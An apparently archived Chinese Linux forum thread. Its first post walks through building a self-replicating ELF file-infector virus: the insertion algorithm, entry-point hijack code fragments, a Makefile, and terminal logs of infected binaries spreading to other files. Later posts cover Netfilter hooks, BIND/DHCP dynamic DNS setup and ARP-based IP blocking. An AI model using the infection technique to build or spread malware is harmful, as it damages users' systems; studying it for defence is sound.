史萊姆論壇

返回   史萊姆論壇 > 教學文件資料庫 > 作業系統操作技術文件
忘記密碼?
論壇說明

歡迎您來到『史萊姆論壇』 ^___^

您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的!

請點擊這裡:『註冊成為我們的一份子!』

Google 提供的廣告


 
 
主題工具 顯示模式
舊 2006-03-10, 06:34 PM   #1
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 linux - 分析Linux病毒原型的工作程序和關鍵環節

分析Linux病毒原型的工作程序和關鍵環節
一、 介紹

寫這篇文章的目的主要是對最近寫的一個Linux病毒原型程式碼做一個總結,同時向對這方面有興趣的朋友做一個簡單的介紹。閱讀這篇文章你需要一些知識,要對ELF有所瞭解、能夠閱讀一些嵌入了彙編的C程式碼、瞭解病毒的基本工作原理。

二、 ELF Infector (ELF文件感染器)

為了製作病毒文件,我們需要一個ELF文件感染器,用於製造第一個帶毒文件。對於ELF文件感染技術,在Silvio Cesare的《UNIX ELF PARASITES AND VIRUS》
一文中已經有了一個非常好的分析、描述,在這方面我還沒有發現可以對其進行補充的地方,因此在這裡我把Silvio Cesare對ELF Infection程序的總結貼出來,以供參考:

The final algorithm is using this information is.
* Increase p_shoff by PAGE_SIZE in the ELF header
* Patch the insertion code (parasite) to jump to the entry point
(original)
* Locate the text segment program header
* Modify the entry point of the ELF header to point to the new
code (p_vaddr + p_filesz)
* Increase p_filesz by account for the new code (parasite)
* Increase p_memsz to account for the new code (parasite)
* For each phdr who's segment is after the insertion (text segment)
* increase p_offset by PAGE_SIZE
* For the last shdr in the text segment
* increase sh_len by the parasite length
* For each shdr who's section resides after the insertion
* Increase sh_offset by PAGE_SIZE
* Physically insert the new code (parasite) and pad to PAGE_SIZE, into
the file - text segment p_offset + p_filesz (original)

在Linux病毒原型中所使用的gei - ELF Infector即是根據這個原理寫的。在
附錄中你可以看到這個感染工具的來源碼: g-elf-infector.c

g-elf-infector與病毒是獨立開的,其只在製作第一個病毒文件時被使用。我簡單介
紹一下它的使用方法,g-elf-infector.c可以被用於任何希望--將二進制程式碼插入到指定文件的文本段,並在目標文件執行時首先被執行--的用途上。g-elf-infector.c的接頭很簡單,你只需要提供以下三個定義:

* 存放你的二進制程式碼返回位址的位址,這裡需要的是這個位址與程式碼起始
位址的偏移,用於返回到目標程序的正常入口
#define PARACODE_RETADDR_ADDR_OFFSET 1232

* 要插入的二進制程式碼(由於用C編寫,所以這裡需要以一個函數的方式提供)
void parasite_code(void);

* 二進制程式碼的結束(為了易用,這裡用一個結尾函數來進行程式碼長度計算)
void parasite_code_end(void);

parasite_code_end應該是parasite_code函數後的第一個函數定義,通常應該如下表示
void parasite_code(void)
{
...
...
...
}
void parasite_code_end(void) {}

在這裡存在一個問題,就是編譯有可能在編譯時將parasite_code_end放在parasite_code
位址的前面,這樣會導致計算程式碼長度時失敗,為了避免這個問題,你可以這樣做
void parasite_code(void)
{
...
...
...
}
void parasite_code_end(void) {parasite_code();}

有了這三個定義,g-elf-infector就能正確編譯,編譯後即可用來ELF文件感染

三、病毒原型的工作程序

1 首先通過ELF Infector將病毒程式碼感染到一個ELF文件,這樣就創造了第一
個帶毒文件,後續的傳播就由它來完成。

2 當帶毒文件被執行時,會首先跳到病毒程式碼開始執行。

3 病毒程式碼開始發作,在這個原型裡,病毒會直接開始傳播。

4 病毒遍歷當前目錄下的每一個文件,如果是符合條件的ELF文件就開始感染。

5 病毒的感染程序和ELF Infector的程序類似,但由於工作環境的不同,程式碼的實現也是有較大區別的。

6 目前傳染對ELF文件的基本要求是文本段要有剩餘空間能夠容納病毒程式碼,如果無法滿足,病毒會忽略此ELF。對於被感染過一次的ELF文件,文本段將不會有剩餘的空間,因此二次感染是不會發生的。

7 病毒程式碼執行過後,會恢復堆疊和所有暫存器(這很重要),然後跳回到真正的可執行文件入口,開始正常的執行程序。

上面對病毒原型的工作程序的介紹也許顯得千篇一律了,和我們早就熟知的關於病毒的一些介紹沒有什麼區別?是的,的確是這樣,原理都是類似的,關鍵是要看實現。下面我們就將通過對一些技術問題的分析來瞭解具體的實現思法。

四、關鍵技術問題及處理

1 ELF文件執行流程重轉發IP和程式碼插入

在ELF文件感染的問題上,ELF Infector與病毒傳播時使用的infect_virus思法是一樣的:

* 定位到文本段,將病毒的程式碼接到文本段的尾部。這個程序的關鍵是要熟悉ELF文件的格式,將病毒程式碼複製到文本段尾部後,能夠根據需要調整文本段長度改變所影響到的後續段(segment)或節(section)的虛擬位址。同時注意把新引入的文本段部分與一個.setion建立關聯,防止strip這樣的工具將插入的程式碼去除。還有一點就是要注意文本段增加長度的對齊問題,見ELF文件中的描述:
p_align
As ``Program Loading'' later in this part describes, loadable
process segments must have congruent values for p_vaddr and
p_offset, modulo the page size.

* 通過過將ELF文件頭中的入口位址修改為病毒程式碼位址來完成程式碼重轉發IP:
/* Modify the entry point of the ELF */
org_entry = ehdr->e_entry;
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;

2 病毒程式碼如何返回到真正的ELF文件入口

方法技巧應該很多,這裡採用的方法是PUSH+RET組合:
__asm__ volatile (
...
"return:\n\t"
"push $0xAABBCCDD\n\t" /* push ret_addr */
"ret\n"
:;
其中0xAABBCCDD處存放的是真正的程序入口位址,這個值在插入病毒程式碼時由感染程序來填寫。

五、 新編譯環境下的偵錯方法

grip2@linux:~/tmp/virus> ls
g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h foo.c Makefile parasite-sample.c parasite-sample.h

調整Makefile文件,將編譯模式改為偵錯模式,即關掉-DNDEBUG選項
grip2@linux:~/tmp/virus> cat Makefile
all: foo gei
gei: g-elf-infector.c gvirus.o
gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG
foo: foo.c
gcc $< -o foo
gvirus.o: gvirus.c
gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
clean:
rm *.o -rf
rm foo -rf
rm gei -rf

編譯程式碼
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG

先獲取病毒程式碼長度,然後調整gvirus.c中的#define PARACODE_LENGTH定義
grip2@linux:~/tmp/virus>. /gei -l <.這裡獲取病毒程式碼的長度
Parasite code length: 1744

獲取病毒程式碼開始位置和0xaabbccdd的位址,計算存放返回位址的位址的偏移
grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd
8049427: 68 dd cc bb aa push $0xaabbccdd
grip2@linux:~/tmp/virus> objdump -d gei|grep ""
08048d80 :
8049450: e9 2b f9 ff ff jmp 8048d80
grip2@linux:~/tmp/virus> objdump -d gei|grep ":"
08048d80 :

0x8049427與0x8048d80相減即獲得我們需要的偏移,
用這個值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET巨集的值

重新編譯
grip2@linux:~/tmp/virus> make clean
rm *.o -rf
rm foo -rf
rm gei -rf
grip2@linux:~/tmp/virus> make
gcc foo.c -o foo
gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG

grip2@linux:~/tmp/virus> ls
gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c
g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h

建立一個測試目錄,測試一下
grip2@linux:~/tmp/virus> mkdir test
grip2@linux:~/tmp/virus> cp gei foo test
grip2@linux:~/tmp/virus> cd test
grip2@linux:~/tmp/virus/test> ls
gei foo
grip2@linux:~/tmp/virus/test> cp foo h

製作帶毒程序
grip2@linux:~/tmp/virus/test>. /gei h
file size: 8668
e_phoff: 00000034
e_shoff: 00001134
e_phentsize: 00000020
e_phnum: 00000008
e_shentsize: 00000028
e_shnum: 00000025
text segment file offset: 0
[15 sections patched]
grip2@linux:~/tmp/virus/test> ll
total 44
-rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo

執行帶毒程序
grip2@linux:~/tmp/virus/test>. /h
.
..
gei
foo
h
.backup.h
real elf point
grip2@linux:~/tmp/virus/test> ll
total 52
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo

測試上面帶毒程序執行後,是否感染了其他ELF程序
grip2@linux:~/tmp/virus/test>. /foo
.
..
gei
Better luck next file
foo
h
Better luck next file
.backup.h
Better luck next file
real elf point

OK,成功
grip2@linux:~/tmp/virus/test> cp. ./foo hh
grip2@linux:~/tmp/virus/test> ll
total 64
-rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
-rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh
-rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo

grip2@linux:~/tmp/virus/test>. /foo
.
..
gei
Better luck next file
foo
h
Better luck next file
.backup.h
Better luck next file
hh
real elf point
grip2@linux:~/tmp/virus/test>

六、總結

由於我既不是一個virus coder也不是一個anti-viruscoder,所以對病毒技術的掌握應該是有欠缺的。如果在文章中對病毒技術的描述不夠準確,分析不夠直接,還請指正,謝謝。

七、參考文獻

1 Silvio Cesare 的《UNIX ELF PARASITES AND VIRUS》

2 ELF文件

3 更多的安全技術交流
http://www.linuxforum.net/forum/ ... Board=security&
Number=479955&page=0&view=collapsed&sb=5&o=31&fpart=
__________________
http://bbsimg.qianlong.com/upload/01/08/29/68/1082968_1136014649812.gif
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-03-10, 06:36 PM   #2 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

Linux系統中防火牆的框架簡單分析
Netfilter提供了一個抽像、通用化的框架,該框架定義的一個子功能的實現就是包過濾子系統。Netfilter框架包含以下五部分:

  1. 為每種網路傳輸協定(IPv4、IPv6等)定義一套鉤子函數(IPv4定義了5個鉤子函數), 這些鉤子函數在資料報流過傳輸協定棧的幾個關鍵點被使用。在這幾個點中,傳輸協定棧將把資料報及鉤子函數標號作為參數使用netfilter框架。

  2. 內核的任何模組可以對每種傳輸協定的一個或多個鉤子進行註冊,實現掛接,這樣當某個資料包被傳送給netfilter框架時,內核能檢測是否有任何模組對該傳輸協定和鉤子函數進行了註冊。若註冊了,則使用該模組的註冊時使用的回調函數,這樣這些模組就有機會檢查(可能還會修改)該資料包、丟棄該資料包及指示 netfilter將該資料包傳入用戶空間的佇列。

  3 .那些排隊的資料包是被傳送給用戶空間的異步地進行處理。一個用戶工作能檢查資料包,修改資料包,甚至可以重新將該資料包通過離開內核的同一個鉤子函數中注入到內核中。

  4. 任何在ip層要被拋棄的ip資料包在真正拋棄之前都要進行檢查。例如允許模組檢查ip-spoofed包(被路由拋棄)。

  5.IP層的五個HOOK點的位置如下所顯示 :

  1. NF_IP_PRE_ROUTING:剛剛進入網路層的資料包通過此點(剛剛進行完版本號,校驗 和等檢測), 源位址轉換在此點進行;ip_input.c中IP_rcv使用。

  2. NF_IP_LOCAL_IN:經路由尋找後,送往本地機的通過此檢查點,INPUT包過濾在此點進行;ip_local_deliver中使用

  3. NF_IP_FORWARD:要轉發的包通過此檢測點,FORWORD包過濾在此點進行;

  4. NF_IP_POST_ROUTING:所有馬上便要通過網路設備出去的包通過此檢測點,內裝的目的位址轉換功能(包括位址偽裝)在此點進行;

  5. NF_IP_LOCAL_OUT:本地機工作發出的包通過此檢測點,OUTPUT包過濾在此點進行。

  這些點是已經在內核中定義好的,內核模組能夠註冊在這些HOOK點進行的處理,可使用nf_register_hook函數指定。在資料報經過這些鉤子函數時被使用,從而模組可以修改這些資料報,並向netfilter返回如下值:

  NF_ACCEPT 繼續正常傳輸資料報

  NF_DROP 丟棄該資料報,不再傳輸

  NF_STOLEN 模組接管該資料報,不要繼續傳輸該資料報

  NF_QUEUE 對該資料報進行排隊(通常用於將資料報給用戶空間的工作進行處理)

  NF_REPEAT 再次使用該鉤子函數

  一個關於Netfilter框架的、稱為iptables的資料報選項系統在Linux2.4內核中被套用,其實它就是ipchains的後繼工具,但卻有更強的可增強性。內核模組可以註冊一個新的規則表(table),並要求資料報流經指定的規則表。這種資料報選項用於實現資料報過濾(filter 表),網路位址轉換(Nat表)及資料報處理(mangle表)。 Linux2.4內核提供的這三種資料報處理功能都關於netfilter的鉤子函數和IP表。它們是獨立的模組,相互之間是獨立的。它們都完美的整合到由Netfileter提供的框架中。

  包過濾

  filter表格不會對資料報進行修改,而只對資料報進行過濾。iptables優於ipchains的一個方面就是它更為小巧和快速。它是通過鉤子函數NF_IP_LOCAL_IN, NF_IP_FORWARD及NF_IP_LOCAL_OUT接入netfilter框架的。因此對於任何一個資料報只有一個地方對其進行過濾。這相對ipchains來說是一個巨大的改進,因為在ipchains中一個被轉發的資料報會遍歷三條鏈。

  NAT

  NAT表格監聽三個Netfilter鉤子函數:NF_IP_PRE_ROUTING、NF_IP_POST_ROUTING及 NF_IP_LOCAL_OUT。 NF_IP_PRE_ROUTING實現對需要轉發的資料報的源位址進行位址轉換而NF_IP_POST_ROUTING則對需要轉發的資料包的目的位址進行位址轉換。對於本機資料報的目的位址的轉換則由NF_IP_LOCAL_OUT來實現。NAT表格不同於filter表格,因為只有新連接的第一個資料報將遍歷表格,而隨後的資料報將根據第一個資料報的結果進行同樣的轉換處理。NAT表格被用在源NAT,目的NAT,偽裝(其是源NAT的一個特例)及透明代理(其是目的NAT的一個特例)。

  資料報處理(Packet mangling)

  mangle表格在NF_IP_PRE_ROUTING和NF_IP_LOCAL_OUT鉤子中進行註冊。使用 mangle表,可以實現對資料報的修改或給資料報附上一些帶外資料。當前mangle表支持修改TOS位及設定skb的nfmard字段。

  源碼分析

  如果我們想加入自己的程式碼,便要用nf_register_hook函數,其函數原型為:

  int nf_register_hook(struct nf_hook_ops *reg)

  struct nf_hook_ops

  {

  struct list_head list;

  /* User fills in from here down. */

  nf_hookfn *hook;

  int pf;

  int hooknum;

  /* Hooks are ordered in ascending priority. */

  int priority;

  };

  我們的工作便是產生一個struct nf_hook_ops結構的實例,並用nf_register_hook將其HOOK上。其中list項我們總要啟始化為{NULL,NULL};由於一般在IP層工作,pf總是PF_INET;hooknum就是我們選項的HOOK點;一個HOOK點可能掛多個處理函數,誰先誰後,便要看優先等級,即 priority的指定了。netfilter_ipv4.h中用一個枚舉檔案類型指定了內裝的處理函數的優先等級:

  enum nf_ip_hook_priorities {

  NF_IP_PRI_FIRST = INT_MIN,

  NF_IP_PRI_CONNTRACK = -200,

  NF_IP_PRI_MANGLE = -150,

  NF_IP_PRI_NAT_DST = -100,

  NF_IP_PRI_FILTER = 0,

  NF_IP_PRI_NAT_SRC = 100,

  NF_IP_PRI_LAST = INT_MAX,

  };

  hook是提供的處理函數,也就是我們的主要工作,其原型為:

  unsigned int nf_hookfn(unsigned int hooknum,

  struct sk_buff **skb,

  const struct net_device *in,

  const struct net_device *out,

  int (*okfn)(struct sk_buff *));

  它的五個參數將由NFHOOK巨集傳進去。

  nf_register_hook根據reg中註冊的傳輸協定簇檔案類型和優先等級在nf_hooks中找到相應的位置並插入到此表中。struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS]在netfilter啟始化時(netfilter_initnetfilter.c, 而它在sock_init時使用)已經初始為一個空表。

  例如iptable在啟始化時(init/iptable_filter.c)使用nf_register_hook註冊他的hook函數。

  static struct nf_hook_ops ipt_ops[]

  = { { { NULL, NULL }, ipt_hook, PF_INET, NF_IP_LOCAL_IN, NF_IP_PRI_FILTER },

  { { NULL, NULL }, ipt_hook, PF_INET, NF_IP_FORWARD, NF_IP_PRI_FILTER },

  { { NULL, NULL }, ipt_local_out_hook, PF_INET, NF_IP_LOCAL_OUT,

  NF_IP_PRI_FILTER }

  };

  mangle在init/iptable_mangle.c中註冊它自己的hook函數。

  static struct nf_hook_ops ipt_ops[]

  = { { { NULL, NULL }, ipt_hook, PF_INET, NF_IP_PRE_ROUTING, NF_IP_PRI_MANGLE },

  { { NULL, NULL }, ipt_local_out_hook, PF_INET, NF_IP_LOCAL_OUT,

  NF_IP_PRI_MANGLE }

  };

  NAT在init/ip_nat_standalone.c中註冊它自己的hook函數

  /*包過濾前,更改目的位址*/

  static struct nf_hook_ops ip_nat_in_ops
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-03-10, 06:37 PM   #3 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

組態Linux下的動態DNS服務全功略
在網路管理中,對於DNS服務的管理是一項基礎性的工作。隨著用戶規模的擴大,頻繁地手動式修改DNS的區域資料庫文件不是一件輕鬆的工作。關於動態DNS (DDNS)的研究逐漸引起了人們的關注,不同的平台都推出了自己的解決方案。本文將詳細介紹Linux環境下DDNS的解決方案,即由Internet Software Consortium(ISC)開發的BIND-DNS和DHCP(Dynamic Host Configure Protocol,動態主機組態傳輸協定)協同工作,進而共同實現DDNS的方法。   
  在Linux下實現動態DNS不僅需要Bind 8以上的DNS軟體,還要有DHCP Server v3.0以上版本,因為只有3.0以上的版本才完全實現了對DDNS的支持。因此,本文的實現環境採用Slackware Linux 9.0作為DDNS伺服器,其上同時執行DNS和DHCP服務,其中DNS Server採用Bind 9.2.2,DHCP Server採用DHCP Server v3.0pl2。   

  下面詳細介紹Linux環境下安全、動態DNS的實現方法。   

  新增密鑰   

  要實現DNS的動態更新,首先要考慮的是怎樣保證安全地實現DDNS。由ISC指出的方法是新增進行動態更新的密鑰,在進行更新時通過該密鑰加以驗證。為了實現這一功能,需要以root身份執行以下指令:

  root@slack9:/etc# dnssec-keygen -a HMAC-MD5 -b 128 -n USER myddns

  Kmyddns.+157+37662   

  上述dnssec-keygen指令的功能就是產生更新密鑰,其中參數-a HMAC-MD5是指密鑰的產生算法採用HMAC-MD5;參數-b 128是指密鑰的位數為128位;參數-n USER myddns是指密鑰的用戶為myddns。   

  該指令產生的一對密鑰文件如下:

  -rw------- 1 root root 48 Jan 14 18:26 Kmyddns.+157+37662.key

  -rw------- 1 root root 81 Jan 14 18:26 Kmyddns.+157+37662.private   

  可以檢視剛產生的密鑰文件內容:   

  root@slack9:/etc# cat Kmyddns.+157+37662.key

  myddns.INKEY02157 4gEF1Mkmn5hrlwYUeGJV3g==

  root@slack9:/etc# cat Kmyddns.+157+37662.private

  Private-key-format: v1.2

  Algorithm: 157 (HMAC_MD5)

  Key: 4gEF1Mkmn5hrlwYUeGJV3g==  

  仔細閱讀該密鑰文件就會發現,這兩個文件中包含的密鑰是一樣的,該密鑰就是DHCP對DNS進行安全動態更新時的憑據。後面需要將該密鑰分別增加到DNS和DHCP的組態文件中。   

  修改DNS的主組態文件   

  密鑰產生後就要開始對/etc/named.conf文件進行編輯修改,主要目的是將密鑰訊息增加到DNS的主組態文件中。本文指出修改後的/etc/named.conf的一個實例:   

  options {

   directory "/var/named";

   file://指定區域資料庫文件的存放目錄

  };

  zone "." IN {

   type hint;

   file "caching-example/named.ca";

  };

  zone "localhost" IN {

   type master;

   file "caching-example/localhost.zone";

   allow-update { none; };

  };

  zone "0.0.127.in-addr.arpa" IN {

   type master;

   file "caching-example/named.local";

   allow-update { none; };

  };

  key myddns {

   algorithm HMAC-MD5.SIG-ALG.REG.INT;

   file://指明產生密鑰的算法

   secret 4gEF1Mkmn5hrlwYUeGJV3g==;

   file://指明密鑰

  };

  zone "tcbuu.cn" IN {

   type master;

   file "tcbuu.cn";

   file://正向區域檔案名tcbuu.cn,後文會用到該檔案

   allow-update { key myddns; };

   file://指明採用key myddns作為密鑰的用戶可以動態更新該區域「tcbuu.cn」

  };

  zone "1.22.10.in-addr.arpa" IN {

   type master;

   file "tcbuu.cn.arpa";//反向區域檔案名tcbuu.cn

   allow-update { key myddns; };

   file://指明採用key myddns作為密鑰的用戶可以動態更新該區域「1.22.10.in-addr.arpa」

  };
  
  在/etc/named.conf中可以定義多個區域,只要在允許動態更新的區域中增加allow-update { key myddns; }指令,即可實現動態更新,並且只有擁有key myddns實體(在本文的實現中該實體就是擁有同樣密鑰的DHCP伺服器)才能實現對該區域進行安全地動態更新。相比原來只限定IP位址的方法,該方法要安全得多。  

  至此完成對DNS伺服器的組態,可以執行#named執行DNS服務。   

  修改DHCP的組態文件   

  DHCP的主要功能是為DHCP客戶動態地分配IP位址、掩碼、網路閘道等內容。正是由於DHCP的動態特性,在實現DDNS時,DHCP成為首選方案。   

  指出修改後的/etc/dhcpd.conf的一個實例:   

  # dhcpd.conf

  # Sample configuration file for ISC dhcpd

  # option definitions common to all supported networks...

  option domain-name "tcbuu.cn";

  option domain-name-servers 10.22.1.123;

  default-lease-time 600;

  max-lease-time 800;

  ddns-update-style interim;

  file://指明實現動態DNS的方法為interim

  subnet 10.22.1.0 netmask 255.255.255.0 {

   range 10.22.1.60 10.22.1.69;//位址池

   option broadcast-address 10.22.1.255;

   option routers 10.22.1.100;

  }

  key myddns {//指明密鑰產生的算法及密鑰

   algorithm HMAC-MD5.SIG-ALG.REG.INT;

   secret 4gEF1Mkmn5hrlwYUeGJV3g==;

  }

  zone tcbuu.cn. {

   primary 10.22.1.123;

   key myddns;//指明更新時採取的密鑰key myddns

  }

  zone 1.22.10.in-addr.arpa. {

   primary 10.22.1.123;

   key myddns;//指明更新時採取的密鑰key myddns

  }  

  說明:   

  1.ddns-update-style interim

  由ISC開發的DHCP伺服器目前主要支持interim方法來進行DNS的動態更新,另外一種稱為ad-hoc的方法基本上已經不再採用。因此,實際上,interim方法是目前Linux環境下通過DHCP實現安全DDNS更新的惟一方法。   
  2.key myddns {//指明密鑰產生的算法及密鑰

  algorithm HMAC-MD5.SIG-ALG.REG.INT;

  secret 4gEF1Mkmn5hrlwYUeGJV3g==;

  }
  
  此段內容與/etc/named.conf中的完全一樣。需要注意的是,在編輯/etc/dhcpd.conf時,{}的末尾沒有「;」,這是與/etc/named.conf中不一樣的地方。   

  3.在/etc/dhcpd.conf中指明的區域名稱後面一定要以「.」結尾。因此zone tcbuu.cn.中的cn和zone 1.22.10.in-addr.arpa.中的arpa後面一定要有「.」。

  /etc/dhcpd.conf組態完成,可以執行#dhcpd將DHCP服務執行起來。

  測試DDNS   

  經過上述伺服器的組態,現在可以檢測一下DDNS的實現程序。   

  當DNS組態成支持動態更新後,在/var/named/目錄下會多出兩個以.jnl結尾的二進制格式區域文件。這兩個文件是當前正在工作的區域文件的執行時文件,所有動態更新的紀錄都會最先反映到這兩個文件中,然後經過大約15分鍾左右才將更新的內容反映到文本形式的區域文件中,即以.jnl結尾的區域文件中是最新的內容。   
  在本文所舉實例中,/var/named/目錄下的區域文件為:

  tcbuu.cn 正向區域文件。

  tcbuu.cn.arpa 反向區域文件。

  tcbuu.cn.arpa.jnl 臨時工作的二進制正向區域文件(新增)。

  tcbuu.cn.jnl 臨時工作的二進制反向區域文件(新增)。   

  1.以Windows 2000作為DHCP客戶端測試   

  (1)設客戶端機的主機名為kill-virus,執行ipconfig /all顯示所獲得的IP位址為10.22.1.69。

  (2)在客戶端執行nslookup測試。   

  C:\Documents and Settings\Administrator>nslookup

  Default Server: slack9.tcbuu.cn

  Address: 10.22.1.123

  > kill-virus.tcbuu.cn//測試客戶端機FQDN在區域文件中是否存在

  Server: slack9.tcbuu.cn

  Address: 10.22.1.123

  Name: kill-virus.tcbuu.cn

  Address: 10.22.1.69//測試結果,表明該資源紀錄存在  

  (3)在客戶端機kill-virus上執行ipconfig /release解壓縮獲得的IP位址。

  (4)在客戶端機kill-virus上執行ipconfig /renew重新獲得IP位址。

  (5)用nslookup顯示區域資料庫中的內容。   

  C:\Documents and Settings\Administrator>nslookup

  Default Server: slack9.tcbuu.cn

  Address: 10.22.1.123

  > ls tcbuu.cn//顯示區域資料庫中的資源紀錄

  [ftp.tcbuu.cn]

   tcbuu.cn. NS server = slack9.tcbuu.cn

   D2501 A 10.22.1.60

   dellpc A 10.22.1.100

   kill-virus A 10.22.1.61 file://IP位址發生變化

   slack9 A 10.22.1.123  

  以上測試說明同一台客戶端機kill-virus通過DHCP服務可以先後獲得IP位址,並與動態DNS伺服器建立聯繫,使該客戶端機的主機名與獲得的IP位址一同作為一條紀錄動態地更新到正向區域文件中去。可以採用同樣的方法測試反向區域的更新,不再贅述。   

  2.用Linux DHCP客戶端測試   

  在Linux DHCP客戶端進行測試時,需要執行dhcpcd守護工作。如果要進行動態更新,還需要加上-h參數。執行的指令格式如下:

  #dhcpcd -h MyLinux   

  其中-h後面跟的是本地機的主機名,用來通過DHCP服務註冊到DDNS伺服器的區域文件中,是進行動態更新必不可少的。

  動態更新後的區域資料庫文件   

  通過檢視正向區域資料庫文件/var/named/tcbuu.cn和反向區域資料庫文件/var/named/tcbuu.cn,可以瞭解區域資料庫文件到底更新了哪些內容。   

  #cat /var/named/tcbuu.cn

  $ORIGIN .

  $TTL 36000 ; 10 hours

  tcbuu.cn IN SOA slack9.tcbuu.cn. root.slack9.tcbuu.cn. (

   2004011402 ; serial

   3600 ; refresh (1 hour)

   1800 ; retry (30 minutes)

   36000 ; expire (10 hours)

   36000 ; minimum (10 hours)

   )

   NS slack9.tcbuu.cn.

  $ORIGIN tcbuu.cn.

  dellpc A 10.22.1.100

  ftp CNAME slack9

  $TTL 300 ; 5 minutes

  kill-virus A 10.22.1.61

   TXT "3156e87eb0180675cfb5e3e8ad026e78b3"

  $TTL 36000 ; 10 hours

  slack9 A 10.22.1.123

  www CNAME slack9  

  以上區域文件的書寫格式與更新前相比變化較大,說明該檔案已被更新過了。這裡還要說明的是,在動態更新的客戶端kill-virus的A紀錄下多了一條同名的TXT檔案類型的紀錄。TXT檔案類型紀錄是BIND-DNS和DHCP專門用來實現DDNS的輔助性資源紀錄,它的值是哈希標示符字串串,該字串串的值還可以在/var/state/dhcp/dhcpd.leases文件中找到。   

  總的來說,在Linux下通過DHCP實現安全DDNS的程序可分為三步:第一,新增進行安全動態更新的密鑰;第二,修改DNS的主組態文件 /etc/named.conf,目的是定義採用動態更新的密鑰及指定可以動態更新的區域;第三,修改DHCP的組態文件 /etc/dhcpd.conf,目的是定義採用動態更新的密鑰及指定動態更新哪些區域。  
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-03-10, 06:39 PM   #4 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

如何在 Linux操作系統下 封殺掉非法IP
不久前,一位朋友想把他管理的區域網路出口全部進行IP和MAC位址綁定,以防止非法用戶上網。該區域網路是用Linux實現Internet接入和管理。整個網路包括數棟樓房,分別通過交換機級聯到總的Internet出口。網路使用了10.0.0.x到10.0.3.x/255.255.252.0這樣的子網,總容量應該有1016(254×4)台主機。目前有大約400位合法上網用戶,這些用戶可能會隨時增減。在Linux系統下,想利用MAC原理對IP 進行封殺,從而達到對某個IP位址或IP位址段的管理和控制,可以通過Linux系統提供的ARP來實現。

  構思

  決定使用ARP綁定後,接下來就要考慮ARP的實現方法。ARP(Address Resolution Protocol)傳輸協定是用來向對方的電腦、網路設備通知自己IP對應的MAC位址的。如果所有非法用戶都被賦予了錯誤的MAC位址,那麼他們是無法通過這台伺服器上網的。因此,ARP綁定要求必須將所有可能的IP位址全部與MAC位址綁定,才能夠杜絕非法用戶(當然,用戶修改MAC位址除外)。

